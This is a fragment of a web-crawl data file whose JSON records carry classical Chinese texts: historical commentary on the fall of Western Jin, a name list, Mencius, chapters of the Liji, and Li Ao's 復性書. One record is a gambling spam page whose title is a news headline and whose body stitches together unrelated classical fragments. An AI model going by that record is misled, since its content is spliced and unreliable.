紂之無道、虐加於民、而諸侯或西向歸周、或東留事紂、未嘗日尋干戈、競起為亂也。天下之志相胥以靜、而弄兵樂禍之民不興。及乎紂虐革、周政行、而皆仍故服、無與煬之、不待撲之也。戰國之爭、逮乎秦・項、凡數百年、至漢初而始定。三國之爭、逮乎隋末、凡數百年、至唐初而始定。安・史之亂、延乎五代、凡百餘年、至太平興國而始定。靖康之禍、延乎蒙古、凡二百餘年、至洪武而始定。其閒非無暫息之日若可以定者、然而支蔓不絕、旋踵復興。非但上有暴君、國有姦雄。抑亦人心風俗一動而不可猝靜、虔矯習成、殺機易發、上欲撲之而不可撲也。夫秦與晉惡能攝天下之心與氣而斂之一朝哉。故陳勝有輟耕之歡、石勒有東門之嘯、爭乘虛而思起。此兵之不可急弭者、機在下也。 50 且夫周之興也、文王受鈇鉞而專征、方有事於密・阮・崇・黎、而早已勤修文德、勤聖學、演周易、造髦士、養國老、采南國之風、革其淫亂、兒童嬉遊而掇芣苢、女子修事以採蘋蘩、未嘗投戈而始論道、息馬而始講藝也。優而柔之、以調天地和平之氣、而於兵戎之事、特不得已而姑試之、上弗之貴、而下且賤之、聖人之所以潛移人心而陶冶其性者、如此其至也。而後戎衣甫著、而弓矢旋弢、天下以為實獲我心、可澡雪以見榮於文治。秦之并六國・滅宗周、晉之篡魏而吞吳也、謀唯恐其不險、力唯恐其不競、日進陰鷙殘忍之夫、皇皇以圖弋獲、而又崇侈奔欲、以敗人倫之撿柙。其與於成功共富貴者、抑奢淫以啟天下之忌、無以滌天下之淫邪、而畜其彊狡於艸澤。幸而兵解難夷、遂欲使之屈首以奉長吏之法、未有能降心抑志以順從者也。上無豫教、而欲飾治安於旦夕、召侮而已矣。此兵之不可急弭者、教在上也。 51 陶璜・山濤力排罷兵之議、從事後而言之、驗矣。然抑豈於天下甫離水火之日、尋兵不已、而日取其民納之馳驟擊刺之中乎。盍亦求諸其本矣。故聖人作而亂不難已、商・周是也、道之馴也。聖人不作、待其敝之已極、人皆厭苦而思偃武、帝王乃因而撫之、則漢・唐以後之一統是也、幾之復也。庶幾商・周之治者、其唯光武乎。寇盜方橫、而獎道敦禮、任賢愛民、以潛消民氣之戾於擾攘之中、兵不待弭而自戢。然而黎陽之屯、固不敢藉口於放牛歸馬以自擬於周也。 52 一四 53 子曰、「不在其位、不謀其政」。夫士茍有當世之略、一言而可弭無窮之禍、雖非在位、庶幾見用而天下蒙其休、何為其祕之哉。而孰知其固不可也。言之不切、而人習以為迂遠之談而不聽。言之切而見用矣、天下測其所以然、而且以其智力與上相扞格。如其不用也、則適以啟姦邪而導之以極其凶忒矣。 54 漢・魏之際、羌・胡・鮮卑雜居塞內、漸為民患、徙之出塞、萬世之利也。雖不在秉國大臣之位、固且憂憤積中而不容已於切言之。即不用矣、後世且服其早識、而謂晉有人焉、此郭欽・江統所以慷慨言之、無所隱而論之詳也。故傳之史策、而後世誦之不衰。乃欽之言曰、「有風塵之警、胡騎自平陽・上黨不三日而至孟津、北地・西河・太原・馮翊・安定・上郡盡為夷狄之庭」。其後劉淵父子・石勒皆踐其言、而晉遂亡。嗚呼。豈非郭欽之言教猱升木乎。劉宣・張賓之謀、皆師欽之智、而灼見晉之可襲取者、非一日也。言之不用、而徒導人以亂矣。藉晉用之、因而下徙戎之令、群胡知其畏己、而己有可乘之勢、於方徙之際潰爛以逞、又將奚以制之使弭耳以聽邪。 55 故使欽而在坐論之列、與君若相密謀之內庭、則極言之而不嫌。言即不用、猶不致啟戎心以增益其惡。惡有忘屬垣之耳、揚於大庭曰、人將若何以加我、將若何以使我莫敵、我其終無如何哉。非其位也、謀不得而盡也、姑緘默以俟其變可也。雖義激於中、而不敢快於一發、誠慎之也。孔子曰、「吾其為東周乎」。所以為者不言也。聖人且慎於未可有為之日、況偶有所知者乎。 56 一五 西晉の亡は、亡於齊王攸之見疑而廢以死也。攸而存、楊氏不得以擅國、賈氏不得以逞奸、八王不得以生亂。故舉朝爭之、爭晉存亡之介也。雖然、盈廷而爭者、未得所以存晉之道也。 58 攸之不安於國、武帝初無猜忌之心、荀勗・馮紞閑之耳。勗與紞、賈充之私人、非但佞以容身、懷鬻國異姓之心久矣。忌攸者、非徒忌攸、實忌晉也。攸之賢、固足以託國、然豈果有周公之德哉。即微攸而晉固可存。漢・唐・宋之延祚數百年、亦未嘗有親賢總己以制天下於一人、而卒不可亂、無他、無奸臣之在側而已。劉放・孫資在魏主之奧窔、而司馬氏援之以攘臂。勗與紞之於賈謐・楊駿、未知其誰屬、而要其市司馬氏之宗社於人、則早作夜思以謀逞志者也。攸即廢、晉不必亡。勗・紞不除、晉無存理。修賈充之餘怨、則陰擯張華。排博士之忠言、而顯斥曹志。茍有圖存晉室者、小不惜官爵、大不惜軀命、揚於王廷、揭勗・紞之奸、迸之裔夷、則不待交章訟攸、而攸固以安、抑不待措攸於磐石之安、而晉固以存。今乃舉尊卑疏戚之口合訟攸、而強帝持天下以任攸。荀勗固曰、「陛下試詔齊王之國、必舉朝以為不可」。墮其術中而猶競以爭、尚口乃窮、攸之困、晉社之危、諸臣致之矣。 59 夫一時徇名依附之眾、不足言也。李憙・劉毅・傅咸忠直為當時之領袖、而不能取前讒後賊為宗社效驅除、晉之廷、不可謂有人矣。植君子則小人自遠、則以進賢為本、斥奸為末、此自奸邪未逞之日言也。不逐小人則君子不安、則以斥奸為本、進賢為末、此為奸邪已盤踞於內之日言也。二者互相為本未、而君子知擇焉、乃以明於人臣之義、而為社稷所賴。非然、則相激以益其亂而已矣。","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/3guozhi.net\/w\/058.html","date":"2022-12-07T09:13:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711151.22\/warc\/CC-MAIN-20221207085208-20221207115208-00146.warc.gz","language":"lzh","language_score":0.717669785,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7176697850227356, \"cmn_Hani_score\": 0.11464211344718933, \"jpn_Jpan_score\": 0.06742309778928757, \"nan_Hani_score\": 0.04229714721441269, \"wuu_Hani_score\": 0.01764461025595665, \"yue_Hani_score\": 0.011352370493113995}","num_words":475,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.718,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n鄧橋鵬 鄧小見 鄧曉健 鄧曉建 鄧小建 鄧小健 鄧建 鄧孝建 鄧錦華 鄧中 鄧嘉帥 鄧雅雯 鄧珂珂 鄧依雯 鄧佳雯 鄧海倫 鄧嵐雙 鄧雯薇 鄧竣 鄧志新 鄧應洪 鄧攀 鄧雯丹 鄧艷鳳 鄧彩蓮 鄧藝敏 鄧烈 鄧棚雲 鄧春陽 鄧又方 鄧立風 鄧穎仲 鄧盈仲 鄧忠振 鄧凱妮 鄧程允 鄧焯譽 鄧愛曦 鄧穎薇 鄧程尹 鄧允程 鄧釗沂 鄧鍬沂 鄧淑儀 鄧鍵兒 鄧錦儀 鄧羊 鄧仲仁 鄧進庭 鄧樹 鄧偉聰 鄧陸 鄧喜 鄧茗 鄧操 鄧潤根 鄧潤華 鄧參 鄧華福 鄧武 鄧微蓓 鄧微葳 鄧皓宇 鄧宇皓 鄧微薇 鄧榆微 鄧臻微 鄧蔚微 鄧未微 鄧緯綸 鄧麟 鄧葳微 鄧美聖 鄧朝雲 鄧洋宇 鄧方秀 鄧礫秀 鄧麗秀 鄧秀秀 鄧昌環 鄧名豪 鄧枚秀 鄧梅秀 鄧東銘 鄧立軍 鄧發偉 鄧亮珍 鄧清雅 鄧清誼 鄧清儀 鄧清議 鄧允 鄧清名 鄧清冰 鄧清五 鄧清水 鄧土金 鄧土清 鄧佳清 鄧思清 鄧文清 鄧海平 鄧海恬 鄧均明 鄧衡良 鄧佳卉 鄧一民 鄧子貴 鄧子來 鄧堅友 鄧艷海 鄧琰海 鄧斐譽 鄧克林 鄧文平 鄧雲松 鄧越元 鄧舒元 鄧雲飛 鄧穎君 鄧子祥 鄧雙喜 鄧銘康 鄧崇熙 鄧祥鳳 鄧黎曼 鄧越川 鄧月川 鄧煥始 鄧宇君 鄧惠予 鄧綺君 鄧可擎 鄧穎棟 鄧德貴 鄧宗峰 鄧世達 鄧雲霓 鄧涵尹 鄧庭鈺 鄧成忠 鄧思宇 鄧知遇 鄧治龍 鄧忠修 鄧忠秀 鄧秀 鄧終秀 鄧中秀 鄧涼秀 鄧良修 鄧梁秀 鄧良秀 鄧柳 鄧群娣 鄧有建 鄧慶華 鄧楚琨 鄧正偉 鄧海榮 鄧寒博 鄧涵博 鄧曉波 鄧雅 鄧雅秀 鄧雅傑 鄧世敏 鄧一佳 鄧日初 鄧世信 鄧淼砷 鄧歡昶 鄧朝富 鄧坤 鄧成勇 鄧小強 鄧淼軒 鄧小海 鄧勛卜 鄧歡壩 鄧秀竹 鄧敏芝 鄧海兵 鄧大山 鄧孜涵 鄧炳光 鄧俊峰 鄧亞林 鄧鈺瀧 鄧舒心 鄧元佑 鄧湘 鄧安琪 鄧小凡 鄧煒航 鄧瑋航 鄧瑞迪 鄧琛波 鄧恢金 鄧亞坤 鄧雲峰 鄧崇斌 鄧天磊 鄧方軍 鄧仲斌 鄧明泉 鄧銘亮 鄧靖懿 鄧懿敏 鄧懋 鄧顯峰 鄧裕康 鄧裕興 鄧嘉恩 鄧勇祺 鄧永祺 鄧子揚 鄧藹凌 鄧嵐月 鄧國宏 鄧強林 鄧惠萌 鄧朝鳳 鄧茗慧 鄧卉茗 鄧慧斌 鄧煒澤 鄧進務 鄧家俊 鄧炫澤 鄧洪爍 鄧煜波 鄧燁洲 鄧澤炫 鄧光廷 鄧雅尹 鄧煒煒 鄧光庭 鄧津 鄧育宏 鄧漂 鄧翼宏 鄧展 鄧展宏 鄧蕭 鄧宏偉 鄧雨軒 鄧嘯邦 鄧堅 鄧宏達","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5754.html","date":"2020-04-09T16:52:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371861991.79\/warc\/CC-MAIN-20200409154025-20200409184525-00043.warc.gz","language":"lzh","language_score":0.6751945019,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.675194501876831, \"cmn_Hani_score\": 0.147827610373497, \"yue_Hani_score\": 0.11213067919015884, \"nan_Hani_score\": 0.044433675706386566, \"jpn_Jpan_score\": 0.017974987626075745}","num_words":251,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.673,"perplexity_score":500.0,"cluster_detection":1} +{"text":"辯明東西界域\n客問妙明禪師曰。佛教是夷狄之法,我中國不宜法之。孔死曰。夷狄之有君不如諸夏之亡也。孟子曰。吾聞以夏變夷者,未聞變於夷者也。且吾子曩時學二帝三王之法,習六經諸子之書。今更捨之,反學西域之言,不亦陋乎。\n妙明曰。吾昔未見大聖微妙之旨,亦嘗出此語,與子之見不相遠也。今則不然。\n若子只知禮樂之華,而闇道德之實。窺爝火之照而未睹日月之明也。孔子所語,疾時君之廢禮。孟子譏陳相之專農,意有所主,理非决然。\n且舜生於東夷,文王生於西夷,大禹生於石佃,日磾生於蕃,由余出於戎,季札出於蠻。此三聖三賢皆生於夷狄。豈可以夷狄而不法之也。\n且太康,周幽,君之荒者也。石趙,嬴秦,君之暴者也。趙高,李斯,臣之侫者也。侯景,宇","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.vnbet.vn\/quy-nguyen-truc-chi\/%E8%BE%AF%E6%98%8E%E6%9D%B1%E8%A5%BF%E7%95%8C%E5%9F%9F-8798.html","date":"2020-04-04T16:15:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370524043.56\/warc\/CC-MAIN-20200404134723-20200404164723-00445.warc.gz","language":"lzh","language_score":0.5174936056,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5174936056137085, \"cmn_Hani_score\": 0.38076716661453247, \"nan_Hani_score\": 0.03707750886678696, \"jpn_Jpan_score\": 0.03092809021472931, \"yue_Hani_score\": 0.017308738082647324, \"wuu_Hani_score\": 0.014463694766163826}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.517,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门威尼人官网平台纽约市长称特朗普再不行动更多人将丧命\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n少康之子,实宾南海,文身断发,鼋鳝与处,既守封禺,奉禹之祀。句践困彼,乃用种、蠡。嘉句践夷蛮能脩其德,灭彊吴以尊周室,作越王句践世家第十一。桓公之东,太史是庸。及侵周禾,王人是议。祭仲要盟,郑久不昌。子产之仁,绍世称贤。三晋侵伐,郑纳於韩。嘉厉公纳惠王,作郑世家第十二。\n昭阳大荒落四年。\n申党字周。\n大馀三十二,小馀二百七十七;大馀五十二,小馀一十六;","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/y0sqw.gassner.com.cn\/tkcsf\/","date":"2020-04-08T12:06:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371813538.73\/warc\/CC-MAIN-20200408104113-20200408134613-00205.warc.gz","language":"lzh","language_score":0.5649446845,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5649446845054626, \"cmn_Hani_score\": 0.1962212771177292, \"nan_Hani_score\": 0.047738753259181976, \"yue_Hani_score\": 0.023209434002637863, \"zxx_Latn_score\": 0.023207971826195717, \"jpn_Jpan_score\": 0.016599377617239952, \"und_Cyrl_score\": 0.01243752334266901, \"und_Tang_score\": 0.01046811230480671, \"und_Hluw_score\": 0.01045078132301569}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.361,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孟子曰:世俗所謂不孝者五:惰其四支不顧父母之養,一不孝也;博弈好飲酒不顧父母之養,二不孝也;好貨財私妻子不顧父母之養,三不孝也;從耳目之欲以爲父母戮,四不孝也;好勇鬭很以危父母,五不孝也。\n孟子曰:事孰爲大,事親爲大;守孰爲大,守身爲大。不失其身,而能事其親者吾聞之矣;失其身,而能事其親者吾未之聞也。\n孟子曰:三代之得天下也以仁,其失天下也以不仁。國之所以廢興存亡者亦然。天子不仁,不保四海;諸侯不仁,不保社稷;卿大夫不仁,不保宗廟;...\n故曰:域民不以封疆之界固;國不以山谿之險威;天下不以兵革之利。得道者多助,失道者寡助。\n孟子曰:天下有道,小德役大德,小賢役大賢;天下無道,小役大,弱役強,斯二者天也。順天者存,逆天者亡。\n夫人必自侮,然後人侮之;家必自毀,然後人毀之;國必自伐,然後人伐之。\n大甲曰:天作孽猶可違;自作孽不可活,此之謂也。\n孟子曰:桀紂之失天下也,失其民也。失其民者,失其心也。\n齊宣王問曰:交鄰國有道乎?孟子對曰:有。惟仁者爲能以大事小。是故湯事葛;文王事混夷。惟智者爲能以小事大。故大王事 獯鬻,句踐事吳。以大事小者,樂天者也;以小事大者,畏天者也。樂天者保天下;畏天者保其國\n大道之行,天下為公。選賢與能,講信修睦。故人不獨親其親,不獨子其子。老有所終,壯有所用,矜寡孤疾皆有所養。\n歐陽脩論曰:禮義廉恥,國之四維;四維不張,國乃滅亡。禮義,治人之大法;廉恥,立人之大節。況爲大臣而無廉恥,天下其有不亂!國家其有不亡者乎!\n凡海禁,弘治十三年令:官民人等擅造二桅以上違式大船、将带違禁貨物下海、入番國買賣、潛通海賊、同謀結聚。及為嚮導、劫掠良民者,正犯處以極刑,全家發邊衛充軍。若止将大船雇與下海之人、分取番貨,及雖不曾造有\n© 2021 - 北京書同文數字化技術有限公司 古籍数据库 v4.0","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/gujiku.unihan.com.cn\/articles?pagenumber=21","date":"2021-06-24T00:29:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488544264.91\/warc\/CC-MAIN-20210623225535-20210624015535-00023.warc.gz","language":"lzh","language_score":0.609544754,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6095447540283203, \"cmn_Hani_score\": 0.3031099736690521, \"nan_Hani_score\": 0.04703003168106079, \"wuu_Hani_score\": 0.0221079271286726}","num_words":16,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.579,"perplexity_score":500.0,"cluster_detection":1} +{"text":"丧服小记 斩衰括发以麻.为母括发以麻.免而以布.齐衰恶笄以终丧.男子冠而妇人笄 .男子免而妇人髽.其义.为男子则免.为妇人则髽. 苴杖.竹也.削杖.桐也. 祖父卒.而后为祖母后者三年. 为父母长子稽颡.大夫吊之.虽缌必稽颡.妇人为夫与长子稽颡.其余则否. 男主必使同姓.妇主.必使异姓. 为父后者.为出母无服. 亲亲以三为五.以五为九.上杀.下杀.旁杀.而亲毕矣. 王者禘其祖之所自出.以其祖配之.而立四庙.庶子王亦如之. 别子为祖.继别为宗.继祢者为小宗.有五世而迁之宗.其继高祖者也.是故 祖迁于上.宗易于下.尊祖故敬宗.敬宗所以尊祖祢也.庶子不祭祖者.明其宗也 . 庶子不为长子斩.不继祖与祢故也. 庶子不祭殇与无后者.殇与无从者.从祖祔食. 庶子不祭祢者.明其宗也. 亲亲.尊尊.长长.男女之有别.人道之大者也. 从服者.所从亡则已.属从者.所从虽没也服.妾从女君而出.则不为女君之 子服. 礼不王不禘. 世子不降妻之父母.其为妻也.与大夫之适子同. 父为士.子为天子诸侯.则祭以天子诸侯.其尸服以士服.父为天子诸侯.子 为士.祭以士.其尸服以士服. 妇当丧而出.则除之.为父母丧.未练而出.则三年.既练而出则已.未练而 反则期.既练而反则遂之 再期之丧.三年也.期之丧.二年也.九月七月之丧.三时也.五月之丧.二 时也.三月之丧.一时也.故期而祭.礼也.期而除丧.道也.祭不为除丧也. 三年而后葬者必再祭.其祭之间不同时.而除丧. 大功者.主人之丧.有三年者.则必为之再祭.朋友虞祔而已. 士妾有子而为之缌.无子则已. 生不及祖父母诸父昆弟.而父税丧.已则否. 为君之父母妻长子.君已除丧.而后闻丧.则不税.降而在缌小功者.则税之 .近臣.君服斯服矣.其余从而服.不从而税.君虽未知丧.臣服已. 虞杖不入于室.祔杖不升于堂. 为君母后者.君母卒.则不为君母之党服. 绖杀五分而去一.杖大如绖. 妾为君之长子.与女君同. 除丧者.先重者.易服者.易轻者. 无事不辟庙门.哭皆于其次. 复与书铭.自天子达于士.其辞一也.男子称名.妇人书姓与伯仲.如不知姓 则书氏. 斩衰之葛.与齐衰之麻同.齐衰之葛.与大功之麻同. 麻同皆兼服之.报葬者报虞.三月而后卒哭. 父母之丧偕.先葬者不虞祔.待后事.其葬服斩衰. 大夫降其庶子.其孙不降其父. 大夫不主士之丧. 为慈母之父母无服. 夫为人后者.其妻为舅姑大功. 士祔于大夫.则易牲. 继父不同居也者.必尝同居.皆无主后.同财而祭其祖祢为同居.有主后者为 异居. 哭朋友者.于门外之右.南面. 祔葬者不筮宅. 士大夫不得祔于诸侯.祔于诸祖父之为士大夫者.其妻祔于诸祖姑.妾祔于妾 祖姑.亡则中一以上而祔.祔必以其昭穆.诸侯不得祔于天子.天子诸侯大夫.可 以祔于士. 为母之君母.母卒则不服. 宗子.母在为妻禫. 为慈母后者.为庶母可也.为祖庶母可也. 为父母妻长子禫. 慈母与妾母.不世祭也. 丈夫冠而不为殇.妇人笄而不为殇. 为殇后者.以其服服之. 久而不葬者.唯主丧者不除.其余以麻终.月数者除丧则已. 箭笄终丧三年. 齐衰三月.与大功同者绳屦. 练筮日.筮尸.视濯皆要绖杖绳屦.有司告具而后去.杖筮日.筮尸.有司告 事毕而后杖.拜送宾.大祥吉服而筮尸. 庶子在父之室.则为其母不禫.庶子不以杖即位.父不主庶子之丧.则孙以杖 即位可也.父在.庶子为妻以杖.即位可也. 诸侯吊于异国之臣.则其君为主. 诸侯吊.必皮弁锡衰.所吊虽已葬.主人必免.主人未丧服.则君亦不锡衰. 养有疾者不丧服.遂以主其丧.非养者入主人之丧.则不易己之丧服.养尊者 必易服.养卑者否. 妾无妾祖姑者.易牲而祔于女君可也. 妇之丧.虞.卒哭.其夫若子主之.祔则舅主之. 士不摄大夫.士摄大夫.唯宗子. 主人未除丧.有兄弟自他国至.则主人不免而为主. 陈器之道.多陈之而省纳之可也.省陈之而尽纳之可也. 奔兄弟之丧.先之墓而后之家.为位而哭.所知之丧.则哭于宫而后之墓. 父不为众子次于外. 与诸侯为兄弟者服斩. 下殇小功带澡麻不绝.本诎而反以报之. 妇祔于祖姑.祖姑有三人.则祔于亲者. 其妻.为大夫而卒而后其夫不为大夫.而祔于其妻.则不易牲.妻卒而后夫为 大夫.而祔于其妻.则以大夫牲. 为父后者为出母无服.无服也者.丧者不祭故也. 妇人不为主而杖者姑在为夫杖母为长子削杖女子子在室.为父母.其主丧者不 杖.则子一人杖. 缌小功.虞.卒哭.则免.既葬而不报虞.则虽主人皆冠.及虞则皆免.为兄 弟既除丧已.及其葬也.反服其服.报虞卒哭则免.如不报虞则除之.远葬者.比 反哭者皆冠.及郊而后免反哭.君吊.虽不当免时也.主人必免.不散麻.虽异国 之君免也.亲者皆免. 除殇之丧者.其祭也必玄. 除成丧者.其祭也朝服缟冠. 奔父之丧.括发于堂上.袒.降踊.袭绖于东方.奔母之丧.不括发.袒于堂 上.降踊.袭免于东方.绖即位成踊.出门.哭止.三日而五哭三袒. 适妇不为舅后者.则姑为之小功.\n下一卷 回目录","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.shuku.net:8082\/novels\/classic\/qpuhbfzmpsl\/lij\/lij13.html","date":"2022-01-18T00:32:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300658.84\/warc\/CC-MAIN-20220118002226-20220118032226-00332.warc.gz","language":"lzh","language_score":0.4265925884,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4265925884246826, \"cmn_Hani_score\": 0.2932046055793762, \"nan_Hani_score\": 0.1319294571876526, \"wuu_Hani_score\": 0.055461589246988297, \"jpn_Jpan_score\": 0.015270741656422615}","num_words":99,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.557,"perplexity_score":500.0,"cluster_detection":1} +{"text":"復性書上\n人之所以為聖人者性也,人之所以惑其性者情也。喜怒哀懼愛惡欲,七者皆情之所為也。情既昏,性斯匿矣。非性之過也,七者循環而交來,故性不能充也。水之渾也,其流不清,火之煙也,其光不明,非水火清明之過,沙不渾,流斯清矣,煙不鬱,光斯明矣。情不作,性斯充矣,性與情不相無也。\n雖然,無性則情無所生矣。是情由性而生,情不自情,因性而情,性不自性,由情以明。性者天之命也,聖人得之而不惑者也;情者性之動也,百姓溺之而不能知其本者也。聖人者豈其無情耶?聖人者,寂然不動,不往而到,不言而神,不耀而光,制作參乎天地,變化合乎陰陽,雖有情也,未嚐有情也。然則百姓者,豈其無性耶?百姓之性與聖人之性弗差也,雖然,情之所昏,交相攻伐,未始有窮,故雖終身而不自睹其性焉。火之潛於山石林木之中,非不火也;江河淮濟之未流而潛於山,非不泉也。石不敲,木不磨,則不能燒其山林而燥萬物;泉之源弗疏,則不能為江為河,為淮為濟,東彙大壑,浩浩蕩蕩,為弗測之深。情之動靜弗息,則不能複其性而燭天地,為不極之明。\n故聖人者,人之先覺者也。覺則明,否則惑,惑則昏,明與昏謂之不同。明與昏性本無有,則同與不同二皆離矣。夫明者所以對昏,昏既滅,則明亦不立矣。是故誠者,聖人性之也,寂然不動,廣大清明,照乎天地,感而遂通天下之故,行止語默,無不處於極也。複其性者賢人,循之而不已者也,不已則能歸其源矣。《易》曰:「夫聖人者,與天地合其德,日月合其明,四時合其序,鬼神合其吉凶,先天而天不違,後天而奉天時。天且勿違,而況於人乎?況於鬼神乎?」此非自外得者也,能盡其性而已矣。子思曰:「惟天下至誠為能盡其性。能盡其性,則能盡人之性。能盡人之性,則能盡物之性。能盡物之性,則可以讚天地之化育。可以讚天地之化育,則可以與天地參矣。其次致曲,曲能有誠,誠則形,形則著,著則明,明則動,動則變,變則化,唯天下至誠為能化。」聖人知人之性皆善,可以循之不息而至於聖也,故制禮以節之,作樂以和之。安於和樂,樂之本也;動而中禮,禮之本也。故在車則聞鸞和之聲,行步則聞佩玉之音,無故不廢琴瑟,視聽言行,循禮法而動,所以教人忘嗜欲而歸性命之道也。道者至誠而不息者也,至誠而不息則虛,虛而不息則明,明而不息則照天地而無遺,非他也,此盡性命之道也。哀哉!人皆可以及乎此,莫之止而不為也,不亦惑耶?\n昔者聖人以之傳於顏子,顏子得之,拳拳不失,不遠而複其心,三月不違仁。子曰:「回也其庶乎屢空。」其所以未到於聖人者一息耳,非力不能也,短命而死故也。其餘升堂者,蓋皆傳也,一氣之所養,一雨之所膏,而得之者各有淺深,不必均也。子路之死也,石乞孟黶以戈擊之,斷纓,子路曰:「君子死,冠不免。」結纓而死。由非好勇而無懼也,其心寂然不動故也。曾子之死也,曰:「吾何求焉,吾得正而斃焉,斯已矣。」此正性命之言也。子思仲尼之孫,得其祖之道,述《中庸》四十七篇,以傳於孟軻。軻曰「我四十不動心」,軻之門人達者公孫醜、萬章之徒,蓋傳之矣。遭秦滅書,《中庸》之不焚者,一篇存焉。於是此道廢缺,其教授者,惟節文、章句、威儀、擊劍之術相師焉,性命之源,則吾弗能知其所傳矣。\n道之極於剝也必複,吾豈複之時耶?吾自六歲讀書,但為詞句之學,誌於道者四年矣,與人言之,未嚐有是我者也。南觀濤江入於越,而吳郡陸傪存焉,與之言之,陸傪曰:「子之言,尼父之心也。東方如有聖人焉,不出乎此也,南方如有聖人焉,亦不出乎此也。惟子行之不息而已矣。」於戲!性命之書雖存,學者莫能明,是故皆入於莊、列、老、釋。不知者謂夫子之徒不足以窮性命之道,信之者皆是也。有問於我,我以吾之所知而傳焉,遂書於書,以開誠明之源,而缺絕廢棄不揚之道,幾可以傳於時,命曰《複性書》,以理其心,以傳乎其人。於戲!夫子複生,不廢吾言矣。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%BE%A9%E6%80%A7%E6%9B%B8%E4%B8%8A","date":"2020-11-27T14:25:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141193221.49\/warc\/CC-MAIN-20201127131802-20201127161802-00271.warc.gz","language":"lzh","language_score":0.4724119604,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47241196036338806, \"cmn_Hani_score\": 0.45454251766204834, \"nan_Hani_score\": 0.040233612060546875, \"wuu_Hani_score\": 0.02066979743540287}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.584,"perplexity_score":500.0,"cluster_detection":1} +{"text":"祭统 凡治人之道.莫急于礼.礼有五经.莫重于祭.夫祭者.非物自外至者也.自 中出生于心也.心怵而奉之以礼.是故唯贤者能尽祭之义. 贤者之祭也.必受其福.非世所谓福也.福者备也.备者百顺之名也.无所不 顺者谓之备.言内尽于己.而外顺于道也.忠臣以事其君.孝子以事其亲.其本一 也.上则顺于鬼神.外则顺于君长.内则以孝于亲.如此之谓备.唯贤者能备.能 备然后能祭.是故贤者之祭也.致其诚信.与其忠敬.奉之以物.道之以礼.安之 以乐.参之以时.明荐之而已矣.不求其为.此孝子之心也. 祭者.所以追养继孝也.孝者畜也.顺于道.不逆于伦是之谓畜. 是故孝子之事亲也.有三道焉.生则养.没则丧.丧毕则祭.养则观其顺也. 丧则观其哀也.祭则观其敬而时也.尽此三道者.孝子之行也. 既内自尽.又外求助.昏礼是也.故国君取夫人之辞曰.请君之玉女.与寡人 共有敝邑.事宗庙社稷.此求助之本也.夫祭也者.必夫妇亲之.所以备外内之官 也.官备则具备.水草之菹.陆产之醢.小物备矣.三牲之俎.八簋之实.美物备 矣.昆虫之异.草木之实.阴阳之物备矣. 凡天之所生.地之所长.苟可荐者.莫不咸在.示尽物也.外则尽物.内则尽 